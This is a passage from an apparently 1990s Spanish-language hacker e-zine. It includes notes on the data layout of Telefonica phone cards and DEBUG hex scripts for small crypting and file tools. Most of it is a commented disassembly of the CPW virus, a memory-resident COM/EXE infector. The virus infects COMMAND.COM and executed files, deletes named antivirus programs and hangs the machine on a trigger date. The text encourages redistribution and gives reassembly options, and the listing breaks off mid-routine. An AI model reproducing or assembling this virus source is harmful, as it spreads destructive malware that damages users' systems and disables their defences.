conforman el area de pulsos. Por esta razon la tarjeta de maxima capacidad contiene 150 fichas. El mapa de una tarjeta Telef¢nica es el siguiente, dividiendo los bits en series de ocho y tomando el primero como el mas significativo. byte valor significado 00 01 83h Indica que es una tarjeta de telefonos estandar. 02 FFh No tenga la mas puta idea que significan 03 FFh estos bytes. 04 5Ah,9Eh 5Ah para 25 pulsos, 9Eh para 50. 05 XX Los bytes 5,6, y 7 forman el numero de serie de 24 06 XX bits visible en la parte posterior de la tarjeta. 07 XX 08 00 Ni idea. 09 XX Multiplicando este numero por 10 se obtiene la cantidad de pulsos que contiene la tarjeta. 10 1Eh Ni idea. 11 28h Indica el pais de uso ( 28h para Argentina ). 12 FFh 8 bits probados en la fabrica. ¿ 13 C0h 2 bits probados en la fabrica. Ù 10 bits probados en fabrica. 14-31 00h Area de datos. Cada bit en 0 corresponde a un pulso sin usar. Las targetas de 25 pulsos, en realidad son de 30, pero 5 ya vienen 'gastados' de fabrica. Minotauro Magazine Issue #5 Some [DAN] Utilities by Drako Antes que nada.. Qu‚ es [DAN]?! [DAN] del Lat¡n Digital Anarchy es un grupo de personas, recientemente formalizado, cuya intenci¢n es la de reunirse para matar y torturar gatos (Juaaaaaaaa). Ya sabiendo que es [DAN] les decimos qui‚nes son [DAN] : Lapidario, Drako, Trurl, Zarathustra, Vixer WM’, El Cancerbero, Morgan, Bugs Bunny & J.Von Neumann y si me olvido de alguien que se joda por inexistente :-) Luego de la presentaci¢n "oficial" del grupo (Je), vamos a las aplicaciones que en esta nota nos conciernen..: * File Trunker 1.0 by Drako [DAN] * File Crypter 2.0 by Drako [DAN] * Boot Reader 2.0 by Cancerbero [DAN] Todos concebidos pura y exclusivamente por una cuestion de necesidad/precticidad y bueno, quedaron asi como los ven :-) Por eso mismo no crean que son utilidades fabulosas, pero que les pueden llegar a servir.. Bueh, la idea la captaron :-) Llendo a los prg. en s¡, aca va el primero: ;------------ Cut here ---------------------------------------------------- N CRYPT.COM E 0100 BA 14 02 E8 B9 00 BF 80 00 2E 80 3D 00 75 07 BA E 0110 9F 02 E8 AA 00 C3 47 47 2E 80 3D 0D 74 F1 2E 80 E 0120 3D 20 75 F3 2E C6 05 00 47 2E 80 3D 0D 74 E0 2E E 0130 80 3D 20 74 F3 2E 89 3E 8D 03 33 C0 2E A0 80 00 E 0140 04 80 8B F0 2B F7 2E 89 36 8F 03 E8 BB 00 2E A3 E 0150 91 03 8B D8 73 07 BA 89 02 E8 63 00 C3 E8 A9 00 E 0160 2E A3 93 03 72 F0 BA 30 03 E8 53 00 E8 62 00 2E E 0170 A2 97 03 2E C7 06 95 03 50 C3 2E 8B 1E 91 03 E8 E 0180 42 00 2E 3B 06 95 03 72 11 2E A0 97 03 E8 55 00 E 0190 2E 8B 1E 93 03 E8 5F 00 EB E0 2E A3 95 03 2E A0 E 01A0 97 03 E8 40 00 2E 8B 1E 93 03 E8 4A 00 E8 54 00 E 01B0 2E 8B 1E 91 03 E8 4C 00 BA 66 02 E8 01 00 C3 B4 E 01C0 09 CD 21 C3 2E 8B 0E 95 03 B4 3F BA 98 03 CD 21 E 01D0 C3 2E 8B 0E 8F 03 2E 8B 3E 8D 03 41 33 C0 2E 02 E 01E0 05 47 E2 FA C3 BF 98 03 2E 8B 0E 95 03 49 2E 30 E 01F0 05 FE C0 47 E2 F8 C3 2E 8B 0E 95 03 B4 40 BA 98 E 0200 03 CD 21 C3 B4 3E CD 21 C3 B8 02 3D 33 C9 BA 82 E 0210 00 CD 21 C3 46 69 6C 65 20 43 72 79 70 74 65 72 E 0220 20 32 2E 30 20 62 79 20 44 72 61 6B 6F 20 5B 44 E 0230 41 4E 5D 0A 0D 54 68 69 73 20 76 65 72 73 69 6F E 0240 6E 20 65 6E 63 72 79 70 74 73 20 66 69 6C 65 73 E 0250 20 75 70 20 74 6F 20 61 6E 79 20 6C 65 6E 67 74 E 0260 68 21 0A 0D 0A 24 46 69 6C 65 20 68 61 73 20 62 E 0270 65 65 6E 20 63 72 79 70 74 65 64 2F 64 65 63 72 E 0280 79 70 74 65 64 21 0A 0D 24 45 72 72 6F 72 20 6F E 0290 70 65 6E 69 6E 67 20 66 69 6C 65 21 0A 0D 24 55 E 02A0 73 61 67 65 3A 20 43 72 79 70 74 20 66 69 6C 65 E 02B0 6E 61 6D 65 2E 65 78 74 20 70 61 73 73 77 6F 72 E 02C0 64 0A 0D 57 68 65 72 65 3A 20 66 69 6C 65 6E 61 E 02D0 6D 65 2E 65 78 74 20 69 73 20 74 68 65 20 66 69 E 02E0 6C 65 20 74 6F 20 62 65 20 63 72 79 70 74 65 64 E 02F0 0A 0D 20 20 20 20 20 20 20 70 61 73 73 77 6F 72 E 0300 64 20 69 73 20 74 68 65 20 65 6E 63 72 79 70 74 E 0310 69 6F 6E 20 6B 65 79 20 28 77 6F 72 64 2C 20 70 E 0320 68 72 61 73 65 2C 20 65 74 63 2E 2E 29 0A 0D 24 E 0330 50 6C 65 61 73 65 20 77 61 69 74 2E 2E 20 54 68 E 0340 69 73 20 70 72 6F 63 65 73 73 20 6D 61 79 20 74 E 0350 61 6B 65 20 61 20 77 68 69 6C 65 2E 2E 0A 0D 55 E 0360 6E 64 65 72 20 4E 4F 20 43 49 52 43 55 4E 53 54 E 0370 41 4E 43 45 53 20 62 72 65 61 6B 20 74 68 65 20 E 0380 70 72 6F 63 65 73 73 21 21 0A 0D 0A 24 00 00 00 E 0390 00 00 00 00 00 00 00 00 RCX 0298 W Q ;------------ Cut here ---------------------------------------------------- ... el segundo... ;------------ Cut here ---------------------------------------------------- N TRUNK.COM E 0100 B4 09 BA 52 01 CD 21 2E 80 3E 80 00 00 74 30 33 E 0110 C0 33 F6 2E A0 80 00 8B F0 2E C6 84 81 00 00 B8 E 0120 02 3D BA 82 00 CD 21 8B D8 72 1B B8 00 40 33 D2 E 0130 33 C9 CD 21 B4 3E CD 21 BA C0 01 E8 0F 00 C3 BA E 0140 75 01 E8 08 00 C3 BA D9 01 E8 01 00 C3 B4 09 CD E 0150 21 C3 46 69 6C 65 20 54 72 75 6E 6B 65 72 20 31 E 0160 2E 30 20 62 79 20 44 72 61 6B 6F 20 5B 44 41 4E E 0170 5D 0A 0D 0A 24 55 73 61 67 65 3A 20 54 72 75 6E E 0180 6B 20 66 69 6C 65 6E 61 6D 65 2E 74 78 74 0A 0D E 0190 57 68 65 72 65 3A 20 66 69 6C 65 6E 61 6D 65 2E E 01A0 74 78 74 20 69 73 20 74 68 65 20 66 69 6C 65 20 E 01B0 74 6F 20 62 65 20 74 72 75 6E 6B 65 64 0A 0D 24 E 01C0 46 69 6C 65 20 68 61 73 20 62 65 65 6E 20 54 72 E 01D0 75 6E 6B 65 64 21 0A 0D 24 45 72 72 6F 72 20 6F E 01E0 70 65 6E 69 6E 67 20 66 69 6C 65 21 0A 0D 24 RCX 00EF W Q ;------------ Cut here ---------------------------------------------------- ... y el tercero y ultimo... ;------------ Cut here ---------------------------------------------------- N BOOT20.ZIP E 0100 50 4B 03 04 0A 00 00 80 00 00 12 5B 54 1D 6F 8B E 0110 C1 F8 A4 04 00 00 A4 04 00 00 0A 00 00 00 42 4F E 0120 4F 54 32 30 2E 43 4F 4D B8 66 21 BA E2 02 3B C4 E 0130 73 69 8B C4 2D 44 03 90 25 F0 FF 8B F8 B9 A2 00 E 0140 90 BE 7E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 E 0150 D9 53 33 DB 53 CB 0E 01 50 4B 4C 49 54 45 20 43 E 0160 6F 70 72 2E 20 31 39 39 32 20 50 4B 57 41 52 45 E 0170 20 49 6E 63 2E 20 41 6C 6C 20 52 69 67 68 74 73 E 0180 20 52 65 73 65 72 76 65 64 4E 6F 74 20 65 6E 6F E 0190 75 67 68 20 6D 65 6D 6F 72 79 24 B8 00 09 BA 61 E 01A0 01 CD 21 CD 20 90 FD 8B F8 4F 4F BE C0 02 03 F2 E 01B0 8B CA D1 E9 F3 A5 FC 87 F7 46 46 BF 00 01 AD 95 E 01C0 BA 10 00 EB 32 90 AD 95 B2 10 EB 3B AD 95 B2 10 E 01D0 EB 3C AD 95 B2 10 EB 41 AD 95 B2 10 EB 63 AD 95 E 01E0 B2 10 EB 64 AD 95 B2 10 EB 65 AD 95 B2 10 EB 66 E 01F0 AD 95 B2 10 72 08 A4 D1 ED 4A 74 F4 73 F8 33 C9 E 0200 33 DB D1 ED 4A 74 BF D1 D3 D1 ED 4A 74 BE D1 D3 E 0210 85 DB 74 17 D1 ED 4A 74 B9 D1 D3 80 FB 06 72 0B E 0220 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 2E 8A 8F 1C 01 E 0230 80 F9 0A 74 3A 33 DB 83 F9 02 74 26 D1 ED 4A 74 E 0240 97 72 1F D1 ED 4A 74 96 D1 D3 D1 ED 4A 74 95 D1 E 0250 D3 D1 ED 4A 74 94 D1 D3 80 FB 02 73 1E 2E 8A BF E 0260 2C 01 AC 8A D8 56 8B F7 2B F3 F3 A4 5E EB 88 AC E 0270 02 C8 80 D5 00 3C FF 75 BC EB 33 D1 ED 4A 75 04 E 0280 AD 95 B2 10 D1 D3 80 FB 08 72 D2 D1 ED 4A 75 04 E 0290 AD 95 B2 10 D1 D3 80 FB 17 72 C2 D1 ED 4A 75 04 E 02A0 AD 95 B2 10 D1 D3 81 E3 DF 00 86 DF EB B4 33 C0 E 02B0 06 BB 00 01 53 8B D8 8B C8 8B D0 8B E8 8B F0 8B E 02C0 F8 CB 03 00 02 0A 04 05 00 00 00 00 00 00 06 07 E 02D0 08 09 01 02 00 00 03 04 05 06 00 00 00 00 00 00 E 02E0 00 00 07 08 09 0A 0B 0C 0D 90 00 00 B4 3D BA 40 E 02F0 04 CD 21 8B D8 B8 02 42 33 D2 33 05 40 C9 0B 3D E 0300 A4 04 77 29 B4 09 BA 5A 02 81 02 0C E8 77 00 B4 E 0310 01 07 3C 61 74 27 00 00 3C 62 74 38 3C 63 74 49 E 0320 3C 41 74 1B 3C 42 74 2C A0 8A 3C 43 74 3D E9 D5 E 0330 1F 29 FD 0D 02 24 22 B8 07 0E CD 10 B4 4C 32 3D E 0340 A0 28 00 32 C0 B9 01 00 4C BB 8B 58 00 E8 25 72 E 0350 74 9D E9 42 00 E8 28 00 B0 01 01 4A 81 15 5F 15 E 0360 44 15 13 00 B8 01 02 C4 04 16 BA 80 00 17 13 72 E 0370 48 E9 93 82 50 50 B6 03 47 C3 50 B4 08 22 65 06 E 0380 58 C3 0F 4B 9F 21 A1 08 4E BA F9 17 73 6F B4 3C E 0390 36 54 A4 0B 72 4F E9 36 2E 49 F6 17 02 1F 73 68 E 03A0 17 84 29 0B 72 38 E9 1F 45 DB 67 9A 23 90 22 0B E 03B0 F6 A4 22 56 22 0B 72 16 80 2C ED B4 40 B9 00 02 E 03C0 BA 75 B0 28 26 9C FF B4 3E 07 E9 45 35 14 77 91 E 03D0 04 35 0B 8B 0C 9C C5 15 FF FE D8 0F B2 0C F9 D2 E 03E0 1A 10 20 0D F9 DD 04 10 8E 0D 3A 6E BA 4E 45 20 E 03F0 03 01 2A 1A 01 0A 0D 3F 01 05 35 07 42 4F 4F 54 E 0400 20 53 00 14 45 43 54 4F 52 20 52 45 41 44 45 07 E 0410 76 DC 1D 32 2E 30 24 0A 35 57 72 00 00 69 74 74 E 0420 65 6E 20 62 79 20 45 6C 20 43 61 6E 63 14 A0 65 E 0430 72 62 03 6F 20 2F 20 44 41 6E A3 54 0B 35 44 69 E 0440 67 34 61 2D 41 21 1F 61 72 63 68 38 56 69 72 01 E 0450 4A 0E 44 65 76 65 6C 6F 70 6D 4C 74 EF 13 09 35 E 0460 1C D4 37 50 6C 50 24 65 61 73 65 20 59 6F 6F 07 E 0470 64 54 15 69 73 6B 05 A4 5C 20 28 94 28 41 20 2C E 0480 E1 20 6F 72 A6 29 0E 14 01 60 28 50 72 65 73 73 E 0490 14 54 A0 28 52 4C 2D 43 20 74 B9 41 62 23 4E 4E E 04A0 74 29 1D 3A 24 55 55 5C 52 54 4A 6E 67 A0 A8 20 E 04B0 65 63 27 72 2E 01 AD 6E 23 FB 03 25 8A 01 45 72 E 04C0 F7 72 3A 04 AA 6A 6E 6F C4 56 33 9B 8A 7F 24 35 E 04D0 2E 7E 29 00 D3 5B 09 42 09 BA 94 87 00 0A 39 63 E 04E0 3A 74 A5 0A BA 96 74 73 0A 69 6F A8 0D 6E 20 66 E 04F0 69 D5 47 32 30 2E 64 99 43 4F 4D 37 35 43 3F E8 E 0500 27 94 49 6D 61 67 65 08 1D 85 93 01 B0 20 54 72 E 0510 60 73 66 65 B2 7B 37 64 4B FC 04 43 63 FC 08 FC E 0520 10 93 A6 FC 14 FC CD 9A 1C FC 20 FC F7 96 28 C8 E 0530 04 03 1C C9 2A 43 2A 44 4A 2D 25 00 A1 A5 24 20 E 0540 21 24 06 86 3E 01 09 01 23 57 41 52 4E 49 4E 3C E 0550 11 47 3A 20 E9 20 61 23 02 6C FE 79 20 65 78 69 E 0560 E8 45 73 74 73 21 01 6D 18 6D 6F 4A 14 67 2F 09 E 0570 6E 61 6D 09 74 B5 62 68 22 DF D7 BB 2E 6E 42 50 E 0580 6E 0A 6F 43 7E 63 3B 6F 55 21 20 54 82 A2 22 70 E 0590 72 6F 67 72 30 20 68 10 A5 44 20 62 65 4C 28 74 E 05A0 46 64 69 37 65 64 21 07 A5 00 15 43 68 65 63 6B E 05B0 20 6F 75 74 57 00 0A A4 70 6F 73 73 69 62 5F 20 E 05C0 69 22 45 6E 66 E4 A6 01 2A 2E 24 FF 50 4B 03 04 E 05D0 14 00 00 00 08 00 18 AC 6E 1D 4C A7 76 43 A4 01 E 05E0 00 00 11 03 00 00 0A 00 00 00 52 45 41 44 4D 45 E 05F0 2E 31 53 54 8D 52 D1 6A DB 40 10 7C 2F F4 1F E6 E 0600 2D 16 D4 C6 B5 13 B0 DD 27 C9 12 AE 20 B5 83 70 E 0610 03 A5 E9 C3 45 5A 59 47 A5 3B 71 77 52 EB FF EB E 0620 77 95 EC C9 2E 49 DA 92 76 EF E5 8E DD 99 D9 19 E 0630 0E F8 B3 E2 74 93 EE C3 6B 84 DB 30 5B BF FF 84 E 0640 DB 34 E3 57 9C DC 26 D7 BB 9B 0F C9 76 FF FA 95 E 0650 3F 78 A9 A2 DD 6E 8F 2C 09 E3 24 43 3F 9B 4C FF E 0660 31 FE E3 B7 F2 FC 3F 9F 91 48 0B 01 2B 9B B6 26 E 0670 B4 46 1F 8C 68 E0 2A E1 60 48 14 96 AF 74 1A B7 E 0680 94 3B 6D A0 4B 08 75 44 59 EB B6 3D B2 78 21 ED E 0690 57 8C C2 D5 1D B8 19 AD EE 02 6E 17 28 E5 77 2A E 06A0 50 18 D9 D3 F0 CE 75 2B C9 42 3A 38 CD 72 A5 64 E 06B0 31 25 1A 9E F1 DC 93 51 18 80 B9 A4 42 2E 2C 0D E 06C0 9A 67 39 BF 04 EE A9 D6 EA 60 3D D6 0B 3D D2 5A E 06D0 0D AD 26 27 4F A9 BB B0 E8 2C 95 5D ED 07 73 46 E 06E0 3A 82 6C C4 81 06 3D EB 57 8F B4 76 E8 A5 E9 D8 E 06F0 74 AF 65 21 D5 61 50 63 9C 6F F3 0E 71 12 7D DC E 0700 E0 DD 38 38 B3 96 38 EA 0E 95 60 45 AB 1B 62 27 E 0710 4D 43 CA 0D 6C AE E2 F0 38 B3 A2 CB 9D B7 2F 95 E 0720 23 43 D6 79 56 0E D4 E8 9E 86 59 A6 1D 12 F5 4C E 0730 DF 84 1A 42 70 54 D7 68 E8 0D 52 F6 AC D8 A2 B7 E 0740 9A 57 9C 88 70 AB BF FD 82 58 6A 75 B4 52 5B 46 E 0750 AC 30 BA BA 7C 1B 60 76 35 1F 5F CE 17 4B 60 34 E 0760 9B 8F A7 4B 54 36 78 11 99 3E 45 CE A6 CB C5 19 E 0770 B9 F8 85 F4 9E 37 86 C8 7B 18 02 17 BC E6 E7 38 E 0780 DC 7E E1 65 9B 7B 32 76 F2 1F 9F D4 D7 3A DC AE E 0790 93 2C 4A B2 DD 09 FF 00 50 4B 01 02 0B 00 0A 00 E 07A0 00 A0 00 00 12 5B 54 1D 6F 8B C1 F8 A4 04 00 00 E 07B0 A4 04 00 00 0A 00 00 00 00 00 00 00 00 00 20 00 E 07C0 00 00 00 00 00 00 42 4F 4F 54 32 30 2E 43 4F 4D E 07D0 50 4B 01 02 14 00 14 00 00 00 08 00 18 AC 6E 1D E 07E0 4C A7 76 43 A4 01 00 00 11 03 00 00 0A 00 00 00 E 07F0 00 00 00 00 01 00 20 00 00 00 CC 04 00 00 52 45 E 0800 41 44 4D 45 2E 31 53 54 50 4B 05 06 00 00 00 00 E 0810 02 00 02 00 70 00 00 00 98 06 00 00 00 00 RCX 071E W Q ;------------ Cut here ---------------------------------------------------- Sinceramente espero que nos perdonen :-) Drako [DAN] ; Virus: CPW ; Tipo: Infector de COM/EXE parasitico, residente, fast infector. ; Size: 1459, en memoria, 2000 ; Origen: Chile ; Desensamblado por Trurl para Minotauro Magazine #5 (con colaboracion de ; El Cancerbero) cpw segment para public assume cs:cpw, ds:cpw, es:cpw, ss:cpw B2BM equ 1 ; NOTA: Para un match byte-a-byte del virus original, este B2BM tiene que ; estar en 1. Si quieren sencillamente compilar, ponganlo a 0. (Va a ocupar ; menos, al menos con TASM 3.1, aunque funciona IGUAL). evsize equ vfin-vstart evSIP equ (evsize+15) SHR 4 ; SIP = size in paras org 100h start: jmp vstart nop db "Esto es para los que van a recortar esto y meterlo en el area " db "Virus Sources de sus BBSs: HAGAN LO QUE QUIERAN CON EL VIRUS, " db "PERO LEAN MINOTAURO MAGAZINE" db "Trurl, Digital Anarchy" vstart: JMP begin string1 db "Este programa fue hecho en Chile en 1992 por CPW. " string2 db "C:\COMMAND.COM", 0 ; Para infectar el Command COM. string3 db "­Feliz cumplea¤os CPW!$" ; Se imprime el 27/Mayo.. fhandle dw 0 ; File handle del file a infectar oldint21 dd 0 ; handler original de int 21 oldint16 dd 0 ; handler original de int 16 oldint24 dd 0 ; handler original de int 24 ftype db 1 ; 1=COM, 0=EXE... tipo de file DESDE DONDE se instala readbufexe db 18h DUP(0) ; 1ra copia del header EXE readbufexe2 db 18h dup(0) ; 2da copia del header EXE orbytes db 0cdh, 20h, 090h ; 3 bytes originales del COM vsize dw evsize ; Size del virus en bytes vSIP dw evSIP ; Size del virus en paras branchoff dw 100h ; se usa para el salto al hoste (en COM) branchadd dd 0 ; se usa para el salto al hoste (en EXE) nameptr dd 0; para guardar el ptr del nombre del file a infectar oldfattr dw 0; old file attributes readbuf db 90h,90h,90h ; read buffer (para autoreconocimiento) db 0 ; se le escapo un byte :-) jmpfix db 0e9h, 0, 0; para fixear JMP en infeccion de COM string4 db " You are here CPW!" ; Ver rutina de INT 16 index dw 0 newint24: iret fdate dw 0 ; fecha y tiempo originales del file infectado, se ftime dw 0 ; usan para restablecerlas despues de la infeccion antivstr db 0BCh,0B1h,0BCh,0B8h,0AAh,0BEh,0ADh,0BBh,0BAh,0B2h,0ACh db 0BCh,0AFh,0BEh,0A9h,0ACh,0BCh,0BEh,0B1h,0BCh,0B3h,0BAh db 0BEh,0B1h,0B9h,0B6h,0B1h,0BBh,0A9h,0B6h,0ADh,0AAh,0BCh db 0B7h,0B4h,0A9h,0B6h,0ADh,0AAh,0ACh ; esto es: ; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS" + FF BYTE A BYTE ; "CNC GUARDEMS CPAV SCAN CLEAN FINDVIRU CHKVIRUS" ; Se usa para borrar estos antivirus, cuando son ejecutados. begin: PUSHF PUSH AX PUSH BX PUSH CX PUSH ES CALL next ; para calcular el delta offset next: POP SI SUB SI,next-vstart XOR AX,AX ; self residence check MOV DS,AX ; si el ultimo byte de la tabla de vectores MOV AL,ds: byte ptr [3FFh]; es FB, el virus esta en memoria. CMP AL,0FBh JZ alreadyinstalled PUSH SI CALL install ; rutina para instalarse en memoria POP SI alreadyinstalled: IF B2BM db 2eh dw 0bc80h, ftype-vstart db 0 ELSE CMP BYTE PTR cs:[ftype-vstart+si],0 ; variable de tipo de file ENDIF ; si es un EXE, continua, si no, va a la rutina de COM JNZ instlcom PUSH CS POP DS MOV AX,CS ; obtiene el SEGMENTO haciendo CS Actual-CS del header SUB AX,word ptr [SI+readbufexe2-vstart+16h] PUSH AX POP BX ADD AX,[SI+readbufexe-vstart+16h]; Le suma el CS de header original MOV [SI+branchadd-vstart+2],AX; y asi obtiene el CS donde saltar IF B2BM DW 9C03H, readbufexe-vstart+0eh DW 9C89H, readbufexe-vstart DW 848BH, readbufexe-vstart+14h ELSE ADD BX, [SI+readbufexe-vstart+0eh]; SS ; AX CS de entrada, BX SS de entrada MOV [SI+readbufexe-vstart],BX MOV AX,[SI+readbufexe-vstart+14h] ENDIF MOV [SI+branchadd-vstart],AX POP AX MOV ES,AX MOV DS,AX XOR DI,DI POP CX POP BX POP AX POPF CLI IF B2BM db 2eh DW 0A48BH, readbufexe-vstart+10h db 2eh DW 948EH, readbufexe-vstart ELSE MOV SP,word ptr cs:[SI+readbufexe-vstart+10h] MOV SS,word ptr cs:[SI+readbufexe-vstart] ENDIF STI JMP dword ptr cs:[SI+branchadd-vstart] ; salto al EXE original instlcom: PUSH CS POP DS PUSH CS POP ES PUSH SI LEA SI,[orbytes-vstart+si] MOV DI,100h MOV CX,3 REPZ MOVSB ; restablece los 3 bytes originales del COM XOR DI,DI POP SI POP ES POP CX POP BX POP AX POPF JMP [branchoff-vstart+si]; y salta a CS:100h appendvir: ; esta rutina sencillamente agrega el virus al final del file MOV BX,ds:[fhandle-vstart] XOR CX,CX XOR DX,DX MOV AX,4202h INT 21h MOV CX,ds:[vsize-vstart] ; ? IF B2BM dw 168dh, 0 ELSE LEA DX,ds:[0] ENDIF MOV AH,40h INT 21h RET install: ; NOTA: 7D para = 7D0 bytes = 2000 bytes. Ocupa 2000 bytes en memoria. MOV AH,49h ; dealocatear el bloque actual INT 21h MOV BX,0FFFFh; obtener memoria libre total del sistema MOV AH,48h INT 21h SUB BX,7Dh ; memoria libre < a 7dh para? JB quitinstall ; si es menor, abortar MOV CX,ES STC ADC CX,BX ; obtener seg. donde copiarse + 1 (por el MCB) MOV AH,4Ah ; resize el bloque actual a INT 21h ; toda la memoria-7dh MOV BX,7Ch STC SBB es:[2],BX ; Esto que es? Alguien sabe? Al OWNER le resta? ; Si 7C estuviera en BH, quiza, pero asi? MOV ES,CX MOV AH,4Ah ; nuevo bloque 7d->7c INT 21h MOV AX,ES DEC AX MOV DS,AX MOV WORD PTR ds:[1],8 ; owner=dos CLD PUSH CS POP DS SUB DI,DI MOV CX,05DCh ; virlen+29h? REPZ MOVSB; copiar el virus al bloque. CALL hookints ; capturar las interrupciones 21 y 16 XOR AX,AX ; mover FB al ultimo byte de la IVT MOV ES,AX MOV BYTE PTR es:[3FFh],0FBh quitinstall: RET ; volver hookints: PUSH ES POP DS MOV AX,3521h INT 21h MOV word ptr ds:[oldint21-vstart],BX ; copiar al virus en mem. alta MOV word ptr ds:[oldint21-vstart+2],ES XOR AX,AX ; hookear la int 21 acceso directo MOV ES,AX CLI MOV WORD PTR es:[21h*4],newint21-vstart MOV es:[21h*4+2],DS ; capturar int 21 via acceso directo STI MOV AX,3516h INT 21h MOV word ptr ds:[oldint16-vstart],BX ; lo mismo con int 16 MOV word ptr ds:[oldint16-vstart+2],ES XOR AX,AX MOV ES,AX CLI MOV WORD PTR es:[16h*4],newint16-vstart ; lo mismo MOV es:[16h*4+2],DS STI RET newint21: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH ES PUSH DS PUSHF MOV WORD PTR cs:[vsize-vstart],evsize ; innecesario, pero bueh. MOV WORD PTR cs:[vSIP-vstart],evSIP CMP AH,4Bh ; <- infecta al correr files, JZ intercept CMP AX,3D00h; <- al abrir files JZ intercept CMP AH,43h ; <- y al cambiar atributos. JZ intercept JMP quit21 ; si no es nada de esto, ir a la int 21 original. IF B2BM NOP; Esto pasa por no poner el /M9 :-). Si compilan con 1 pasada ; "comenten" este NOP, si compilan con /M9 o /M lo que sea, dejenlo asi ; (si quieren un byte match del virus). ENDIF disparador: ; Este es uno de los disparadores. MOV AH,2Ah ; obtener fecha.. INT 21h CMP DX,51Bh ; es 27/mayo...? JNZ quit21 MOV DX,string3-vstart PUSH CS POP DS MOV AH,9 ; imprime "­Feliz cumplea¤os CPW!" INT 21h HLT ; y cuelga la maquina... quit21: POPF POP DS POP ES POP SI POP DI POP DX POP CX POP BX POP AX JMP cs:dword ptr [oldint21-vstart] intercept: CALL dumberror ; estupidizar int 24 PUSH DS PUSH DX PUSH CS POP DS CMP BYTE PTR ds:[orbytes-vstart],1 JZ nocommandcom IF B2BM dw 168dh, string2-vstart ELSE LEA DX,ds:[string2-vstart] ; "COMMAND.COM" ENDIF CALL infect ; infectar command.com MOV BYTE PTR ds:[orbytes-vstart],1 nocommandcom: POP DX POP DS CALL checkav; BORRAR los antivirus JB shit2 CALL infect ; infeccion en si shit2: CALL restorerr ; restaurar int 24 posta JMP disparador ; chequear el disparador del 27/5 infect:; infectar DS:DX (sea lo que sea). MOV cs:word ptr [nameptr-vstart],DX ; guardar cuidadosamente el MOV cs:word ptr [nameptr-vstart+2],DS; ptr al nombre del file MOV CX,50h MOV AL,'.' PUSH DS POP ES PUSH DX POP DI REPNZ SCASB ; buscar el PUNTO... JNZ notfound ; esta diferenciacion por la extension COM o EXE es medio ; innecesaria ya que despues se fija en la marca MZ CMP WORD PTR es:[DI],4F43h; "CO" JNZ notcomext ADD DI,2 CMP BYTE PTR es:[DI],4Dh; "M" JZ iscomext notcomext: CMP WORD PTR es:[DI],5845h; "EX" JNZ notfound ADD DI,2 CMP BYTE PTR es:[DI],45h; "E" JZ isexeext notfound: RET iscomext: ; infeccion para files COM CALL fixattr; modificar atributos del filen (para poder infectar) JB abortinfcom CALL openfile ; abrir el file PUSH CS POP DS CALL getlen; chequear infeccion previa JZ shit4 CALL checkspace ; chequear que haya espacio en disco JB shit4 CALL getftimedate ; get file time and date del file XOR CX,CX XOR DX,DX MOV AX,4200h ; move ptr to file begining INT 21h MOV BX,cs:[fhandle-vstart] MOV CX,3 MOV DX,orbytes-vstart ; read 1st 3 bytes MOV AH,3Fh INT 21h CMP WORD PTR ds:[orbytes-vstart],5A4Dh; es MZ EXE? JZ isexeMZ ; si es exe, ir a rutina de infeccion de EXE XOR CX,CX XOR DX,DX MOV AX,4200h ;move ptr to begin. INT 21h MOV CX,3 IF B2BM dw 168dh, jmpfix-vstart ELSE LEA DX,ds:[jmpfix-vstart] ENDIF MOV AH,40h ; write JMP al principio del file INT 21h MOV BYTE PTR ds:[ftype-vstart],1; ? CALL appendvir; append virus to file CALL restoreftd; restore original file time & date shit4: CALL closefile; cerrar archivo CALL restorefattr ; restablecer atributos originales abortinfcom: RET isexeext: ; Rutina de infeccion de EXE CALL fixattr JNB fixok ; jejeje Relative Jump is Out of range :-) JMP abortinfexe ; todos tenemos los mismos problemas, se ve :-) fixok: CALL openfile ; abrir el file PUSH CS POP DS CALL getlen ; chequear infeccion previa JNZ isexeMZ JMP shit5 ; si esta infectado, no reinfectar isexeMZ: CALL checkspace ; chequear espacio en disco. JNB spaceok JMP shit5 spaceok: PUSH CS POP ES MOV BX,cs:[fhandle-vstart] XOR CX,CX XOR DX,DX MOV AX,4200h ; move ptr to beg. INT 21h MOV CX,18h IF B2BM dw 168dh, readbufexe-vstart ELSE LEA DX,ds:[readbufexe-vstart] ENDIF MOV AH,3Fh ; leer 18h bytes (el header) INT 21h CMP WORD PTR ds:[readbufexe-vstart],5A4Dh JNZ shit5 ; infecta EXE de extension .COM, pero no COM de extension .EXE CALL getftimedate MOV CX,18h IF B2BM dw 368dh, readbufexe-vstart dw 3e8dh, readbufexe2-vstart ELSE LEA SI,ds:[readbufexe-vstart] LEA DI,ds:[readbufexe2-vstart] ENDIF REPZ ; hacer una 2da copia del header MOVSB XOR CX,CX XOR DX,DX MOV AX,4202h INT 21h PUSH DX PUSH AX ; DX.AX file size MOV CX,10h ; ver si el file termina en paragrafo DIV CX SUB AX,ds:[readbufexe2-vstart+8] MOV ds:[readbufexe2-vstart+16h],AX ; New CS = FSize/10h-Header Size ADD DX,begin-vstart ; como vemos, el virus no recibe el control en ; un offset fijo en EXE MOV ds:[readbufexe2-vstart+14h],DX; vstarting IP ADD AX,ds:[vSIP-vstart] MOV ds:[readbufexe2-vstart+14],AX ; starting SS = cs+VSIP :-) MOV WORD PTR ds:[readbufexe2-vstart+10h],100h ; starting SP=100 POP AX POP DX ADD AX,ds:[vsize-vstart] ADC DX,0 MOV CX,200h DIV CX INC AX MOV ds:[readbufexe2-vstart+2],DX ; modificar el size en el header MOV ds:[readbufexe2-vstart+4],AX MOV BYTE PTR ds:[ftype-vstart],0 ; tipo = EXE MOV AX,4200h XOR CX,CX XOR DX,DX MOV BX,cs:[fhandle-vstart] INT 21h MOV CX,18h IF B2BM dw 168dh, readbufexe2-vstart ELSE LEA DX,ds:[readbufexe2-vstart] ENDIF MOV AH,40h ; escribir el header manipulado INT 21h CALL appendvir ; agregar el virus al final CALL restoreftd ; restaurar file time & date shit5: CALL closefile ; cerrar CALL restorefattr ; atrib. originales abortinfexe: RET openfile: ; esta rutina sencillamente abre el file. como ven, llama a la INT 21 ; original para no pisarse la cola. MOV AX,3D02h PUSHF CALL cs:dword ptr [oldint21-vstart]; ???? MOV cs:word ptr [fhandle-vstart],AX RET closefile: ; cierra el file (medio obvio no?) MOV BX,cs:[fhandle-vstart] MOV AH,3Eh INT 21h RET fixattr: ; guardar los viejos atributos, y setearlos a 0, para poder infectar ; files read only, etc. MOV 